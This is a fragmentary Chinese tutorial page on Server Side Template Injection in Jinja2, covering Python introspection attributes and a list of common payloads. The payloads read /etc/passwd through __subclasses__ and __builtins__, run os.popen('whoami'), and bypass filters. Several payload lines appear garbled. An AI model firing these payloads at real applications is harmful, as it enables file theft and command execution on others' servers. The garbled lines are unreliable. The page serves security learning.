Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

服务端模板注入(SSTI,Server Side Template Injection)

模板?

Python Jinja2

{{ }} {% %}

import("os").popen("whoami").read()

open 为 Python 内置函数

open("/etc/passwd").read()

特殊方法

subclasses()

特殊属性

  • object.__class__,返回该对象所属的类
>>> ''.__class__
<class 'str'>
>>> [].__class__
<class 'list'>
  • function.__globals__,返回存放该函数中 全局变量

  • class.__base__,返回类的父类

>>> ''.__class__.__base__
<class 'object'>

常用payload

{{url_for.globals['builtins']'eval'}}

{{ config }}

读文件

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

{{get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read()}}

绕过过滤

request.__class__
request["__class__"]

_

[ ]

|join

PHP SSTI